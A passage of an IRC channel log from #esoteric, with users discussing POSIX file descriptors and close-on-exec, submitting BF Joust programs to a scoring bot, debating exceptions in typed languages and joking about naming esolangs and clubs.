hint at it. < 1395695807 891339 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"An open file description may be accessed through a file descriptor, which is created using functions such as open() or pipe(), -- Either a file descriptor or a stream is called a "handle" on the open file description to which it refers; an open file description may have several handles." < 1395695836 410179 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And if you dup, you end up with several handles to the same file description; but if you open() a single file twice, you end up with two separate file descriptions. < 1395696127 327987 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Oh interesting, that they are different < 1395696391 237171 :Sorella!~queen@oftn/member/Sorella QUIT :Ping timeout: 252 seconds < 1395696477 562239 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ah yes < 1395696511 549824 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I suppose fork() has sort of the effect of doing dup() on every file descriptor < 1395696536 286539 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :inheriting fd's over exec() as default behavior is so bad :( < 1395696587 20342 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :random thing I found on wikipedia: apparently solaris and BSD have a closefrom() call that closes every file descriptor above the argument < 1395696589 133954 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :FILE does seem to have some offsets at least http://sprunge.us/NZKT < 1395696599 990704 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that's good < 1395696607 489762 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :(extracted using pahole from debug info, because I couldn't find the definition of it < 1395696612 61875 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I've seen programs do that on Linux by listing /proc/self/fd < 1395696616 647552 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :so you could closefrom(3) (or 2?) before exec < 1395696619 254806 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I don't know if there's another way to get your list of open fd's :/ < 1395696649 89184 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there's also fcntl(FD_CLOEXEC) < 1395696664 60947 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :kmc: You can keep dup'ing until you hit EMFILE and track which numbers were assigned; the ones that weren't were already open. < 1395696673 365376 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Elegant." < 1395696674 46339 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and O_CLOEXEC < 1395696701 860922 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Linux added flags arguments to a bunch of the syscalls that return fds in order that you can set CLOEXEC atomically < 1395696712 60300 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :which is important with forkexec in multi-threaded programs < 1395696713 71088 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(!!!) < 1395696779 470421 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, pretty sure some of that was added to POSIX 2008? < 1395696810 420676 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ok < 1395696822 160751 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :multi-threaded fork is a bit scary < 1395696843 639496 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :no kidding < 1395696866 781274 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :(luckily, it doesn't actually fork into multiple threads) < 1395697248 619626 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 JOIN :#esoteric < 1395697257 859770 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust < 1395697258 141268 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Use: !bfjoust . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/ < 1395697299 47027 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust flagdance >+>-<<[[+-]] < 1395697303 971613 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 4.7 < 1395697419 70427 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust flagdance >+>->+>-<<<<[[+-]] < 1395697422 981760 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 4.9 < 1395697446 100159 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust flagdance (>+>-)*5(<<)*5[[+-]] < 1395697450 860370 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 4.1 < 1395697465 701768 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :(>+>-)*4(<<)*4[[+-]] < 1395697476 893406 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust flagdance (>+>-)*4(<<)*4[[+-]] < 1395697481 529970 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 5.2 < 1395697633 716893 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust fagdance >+>--<[+-]<[+-] < 1395697636 472921 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_fagdance: 4.8 < 1395697651 943845 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust fagdance >+>--<[+-]<[[+-]] < 1395697656 611960 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_fagdance: 1.4 < 1395697674 550188 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust fagdance >+>--<[+-]<[[+-]+] < 1395697678 360334 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_fagdance: 1.4 < 1395697751 700551 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust flagdance (>+>-)*4>+(<)*9[[+-]] < 1395697756 559917 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 3.3 < 1395697952 580615 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust lel < < 1395697955 393499 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_lel: 0.0 < 1395697963 311419 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust lel [-] < 1395697966 220070 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_lel: 9.7 < 1395697992 531446 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust lel [-+] < 1395697995 300631 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_lel: 10.0 < 1395698019 989861 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust lel [[-][+]] < 1395698023 663858 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_lel: 9.8 < 1395698034 370144 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust lel [[-][+]+] < 1395698037 92357 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_lel: 9.8 < 1395698159 451444 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust flagdance (++-)*100000 < 1395698164 340337 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 14.6 < 1395698181 20485 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust shudder >>>>>>>>(>[-[++[(+)*5[-]]]]->[-[++[(+)*5[-]]]]+)*21 < 1395698183 833251 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_shudder: 16.6 < 1395698224 229647 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :!bfjoust tripwire (>+)*9[](<(+)*127)*8(>)*8(>[-[++[(+)*5[-]]]]->[-[++[(+)*5[-]]]]+)*21 < 1395698227 50344 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_tripwire: 8.2 < 1395698425 215665 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Quit: Leaving < 1395699136 999976 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395699559 328818 :ion!ion@heh.fi PRIVMSG #esoteric :http://hosted.ap.org/dynamic/stories/B/BKN_CELTICS_NETS?SITE=AP&SECTION=HOME&TEMPLATE=DEFAULT < 1395699601 199538 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric ::D :D :D < 1395699607 244580 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395699616 119207 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 PRIVMSG #esoteric :mmkay then < 1395699639 344311 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :good happy-kmc evening. < 1395699721 270428 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hoily < 1395699878 639048 :anubiann00b!a24e4674@gateway/web/cgi-irc/kiwiirc.com/ip.162.78.70.116 QUIT :Quit: http://www.kiwiirc.com/ - A hand crafted IRC client < 1395700231 960247 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`unidecode >< < 1395700232 299302 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395700242 400175 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION weeps < 1395700312 221211 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :poor HackEgo, still mute? < 1395700322 481924 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :`quote < 1395700322 916421 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395700357 259354 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"Trying to come up with a unique name for a roguelike is a great way to accidentally name a BDSM club." < 1395700383 150782 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :"Rogue" did it best < 1395700463 971154 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION throws a net over kmc and starts hacking < 1395700493 465602 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :why have I been netted? < 1395700499 949269 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395700500 981794 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :hellœrjan. hellolsner. Slelloreahello. < 1395700504 399526 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Sorello. < 1395700519 873912 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :kmc: because it's convenient. < 1395700521 699641 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :kmc: you've been admitted to the new nethack bdsm club hth < 1395700534 361152 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :eep < 1395700572 129996 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION dons his leather suit. < 1395700585 335810 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(it's a very nice leather suit, insulated against the winter.) < 1395700593 983680 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I pasted that here largely because of the Taneb-quote < 1395700621 627247 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good, good < 1395700649 579823 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(your plan to make me say "what Taneb quote" fails because i still remember it) < 1395700650 251426 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If a roguelike is made out of AWK, then call it AWK-roguelike. If it is made out of SQL, then call it SQL-roguelike. If it is made out of mathematics, then call it, mathematical-game. < 1395700663 550578 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oerjan: how could we forget, really < 1395700694 979924 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :zzo38: i think those are _terrible_ names for bdsm clubs, you're not getting into this. except maybe the last one. < 1395700718 430461 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I know! < 1395700761 396239 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Maybe, a better name for BDSM clubs, also depend what it is made of. If it is made of leather suit then, call it, Leather-Suit-BDSM-Club. < 1395700761 681336 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :the... mathematical game??? < 1395700775 641079 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: you better keep your equations straight in that club < 1395700791 305724 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :“bite me, whip me, make me solve integrals!” < 1395701039 572543 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : == second level heading == <-- i should point out we don't usually use first level headings, although there is at least one exception where it was convenient. < 1395701072 295564 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :([[Brainfuck constants]]) < 1395701331 158325 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395701373 879253 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : <-- not afaik but i've usually been able to fake it, see e.g. http://esolangs.org/wiki/Underload#.7E:.21.28.29.5E_Turing_machine < 1395701376 818864 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ops < 1395701389 878991 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : is there a way to write math/mathtex on the wiki? <-- not afaik but i've usually been able to fake it, see e.g. http://esolangs.org/wiki/Underload#.7E:.21.28.29.5E_Turing_machine < 1395702514 995451 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395702811 936707 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 268 seconds < 1395702960 494996 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395703364 586689 :boily!~boily@96.127.201.149 QUIT :Quit: CHICKEN OF DOUBT < 1395703396 770237 :Zom-B!~Zom-B@143.177.41.147 NICK :Zom-B|zz < 1395703504 108735 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"Forced program termination is not allowed unless the program consents to it. The process is part of the choice of the program, not the programmer." perfect language to write malware? < 1395703562 142807 :Bicyclidine!~Glossina@wl-nat105.it.wsu.edu PRIVMSG #esoteric :odd thing to put at a language level < 1395703891 228730 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :can we not have that thing in here plz thx < 1395703915 533239 :Bicyclidine!~Glossina@wl-nat105.it.wsu.edu PRIVMSG #esoteric :thing? < 1395704000 361072 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com QUIT :Quit: This computer has gone to sleep < 1395704068 58672 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Sorry < 1395704211 31733 :nooodl!~nooodl@193.119-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Ik ga weg < 1395704428 359638 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395704437 558609 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395705667 358964 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1395705730 629921 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395705837 710779 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395706390 758755 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395706416 800173 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395707890 148938 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Why do people hate checked exceptions so much? < 1395707935 368596 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :I don't, but I hate exceptions < 1395707944 418431 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :if you're going to have them, you might as well represent them in the type though < 1395708002 638616 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395708035 762128 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395708167 778333 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i prefer a maybe < 1395708293 810054 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 252 seconds < 1395708334 313697 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hang on < 1395708337 840914 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :What Taneb quote < 1395708403 843203 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`quote field with < 1395708404 341247 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395708407 935183 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::( < 1395708484 883975 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric : I’m a story about the prohibition of chocolate < 1395708766 358628 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric : kmc, I was trying to go to a sci-fi and fantasy society social, and I went to the wrong bar Wound up at my university's fetish society Didn't realise for an hour and a half < 1395708773 482510 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Oh yeah, that < 1395708778 265650 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :True story, btw < 1395708795 224753 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i never suspected otherwise < 1395708796 530774 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :My gran won't shut up about it < 1395708802 910500 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :........... < 1395708810 425003 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I regret telling my gran < 1395708815 561163 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :...................... < 1395708860 756090 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :How are you, kmc < 1395708913 149358 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i'm doin' fine < 1395708991 617910 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395709155 109339 :Bicyclidine!~Glossina@wl-nat105.it.wsu.edu QUIT :Quit: leaving < 1395709195 457569 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395709195 864583 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395709770 275088 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395709779 120267 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395710052 820351 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 252 seconds < 1395710156 804465 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :btw I recommend Bootleg < 1395710183 619828 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Or its anime adaptation, Chocolate Underground, which is hilarious because of how the voice actors mangle the name "Myrtle" < 1395710903 878825 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Maybe doesn't contain information about the nature of the error < 1395710910 604436 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And Either is hard to combine < 1395710930 928009 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Idris's EXCEPTION might be good? < 1395710940 265537 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well, it's loud. that's always good. < 1395710944 557644 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Still not sure how to actually combine those either without discarding the information < 1395710982 833816 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(iiuc, if you put it in a Maybe context you can have ]EXCEPTION a, EXCEPTION b], but in a Either context you need to choose :/ < 1395711042 917407 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh hey, copumpkin's here, e could clear things up < 1395711181 150846 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think idris might fall into a tradition of giving dependently typed languages subtly dubious names < 1395711211 57148 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :like, they claim it's a dragon, but it's also a muslim prophet < 1395711250 817552 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :so what's dubious < 1395711277 657116 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that they don't mention that it's a muslim name < 1395711302 127797 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :kings of libya and morocco < 1395711325 679871 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i hear 'lisp' is also a speech condition < 1395711342 376836 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :thocking < 1395711364 387103 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hönan agda < 1395711374 537634 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and coq < 1395711416 749920 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well could be worse, could have been iblis < 1395711941 803443 :yorick!~yorick@oftn/member/yorick QUIT :Read error: Connection reset by peer < 1395712976 959495 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i'm adding "Lady Chablis" to the list of things to name an esolang < 1395712996 694584 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :also, i should probably write up some of these langs lying around on my desk sometime... < 1395713087 926573 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I should probably make another esolang < 1395713232 126678 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :what was the last one you made? < 1395713263 392714 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 264 seconds < 1395713274 227436 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Braintrust, I think < 1395715315 372285 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 264 seconds < 1395715372 143964 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395716953 811961 :huh!~area@wikipedia/PiRSquared17 JOIN :#esoteric < 1395717035 711358 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395717328 686702 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 265 seconds < 1395717595 928861 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1395718153 457133 :huh!~area@wikipedia/PiRSquared17 QUIT :Quit: . < 1395718333 371044 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395718372 120139 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395718445 906244 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1395718632 447838 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395718776 93641 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Taneb: so did you also explain to your gran what a fetish society is or did she already know < 1395719164 550224 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com QUIT : < 1395719182 918503 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1395719760 25710 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :disturbing twist: his gran once founded that society < 1395720005 274581 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395720575 896222 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395720608 919531 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395720782 486367 :Sellyme!~Sellyme@199.127.227.147 QUIT :Excess Flood < 1395720816 462331 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395720904 815741 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 268 seconds < 1395721831 339289 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395722614 816113 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395723619 336734 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I made up a "Pokemon renaming rule", for use with Pokemon Card when the cards are drafted or otherwise randomly selected, rather than playing a Constructed game. < 1395723885 819907 :password2!~password@197.78.154.30 JOIN :#esoteric < 1395723904 257908 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Before the game starts, make up a list of names of cards in your deck (ignoring level and quantity), on the left side of the page. For each one, write the name you are renaming it to on the right. You can only rename into names of cards which are possible to be drafted (whether or not anyone did, whether or not it is in your deck). The left side cannot have any duplicates, and the right side cannot have any duplicates. < 1395723918 218718 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :sounds dull < 1395723957 217020 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Basic pokemon cards can only be renamed to names of basic pokemon cards. Evolution cards can be only renamed into name of evolution cards. Trainer cards can only renamed into name of trainer cards. Special energy cards can only renamed into name of special entry cards. Basic energy cards cannot be renamed at all. Renaming a name into itself (so it doesn't change) is permitted. < 1395723965 286639 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Bike: I wasn't finished yet; now I am. < 1395724001 752838 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i stand by my assessment < 1395724042 737276 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :OK < 1395724091 978853 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Well, many cards in the game (mostly evolution cards) require card of other specific name, and if cards are drafted or selected at random or something like that, then you cannot do that so easily. This rule is not meant to be used in a Constructed game. < 1395724280 458262 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395724558 509764 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 240 seconds < 1395725398 610313 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"In gbeta, object metamorphosis coexists with strict, static type-checking: It is possible to take an existing object and modify its structure until it is an instance of a given class, which is possibly only known or even constructed at run-time. Still, the static analysis ensures that message-not-understood errors can never occur at run-time." < 1395725420 516371 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think I tried to learn gBeta once. I don't think I succeeded < 1395725984 410532 :password2!~password@197.78.154.30 PRIVMSG #esoteric :if you stopped trying , then you probably did < 1395727365 760394 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395727754 244375 :confuzedstuff!~potato558@105.184.72.37 QUIT :Ping timeout: 246 seconds < 1395727892 736885 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: bai < 1395728933 892234 :password2!~password@197.78.154.30 QUIT :Ping timeout: 268 seconds < 1395729029 787052 :heroux!~heroux@50708181.static.ziggozakelijk.nl QUIT :Read error: Connection reset by peer < 1395729373 86243 :Vorpal!~Vorpal@unaffiliated/vorpal QUIT :Quit: ZNC - http://znc.sourceforge.net < 1395731493 464381 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com QUIT : < 1395731532 822931 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395731730 770855 :Slereahphone!~slereahph@193.253.170.175 JOIN :#esoteric < 1395731766 350171 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 252 seconds < 1395731822 792099 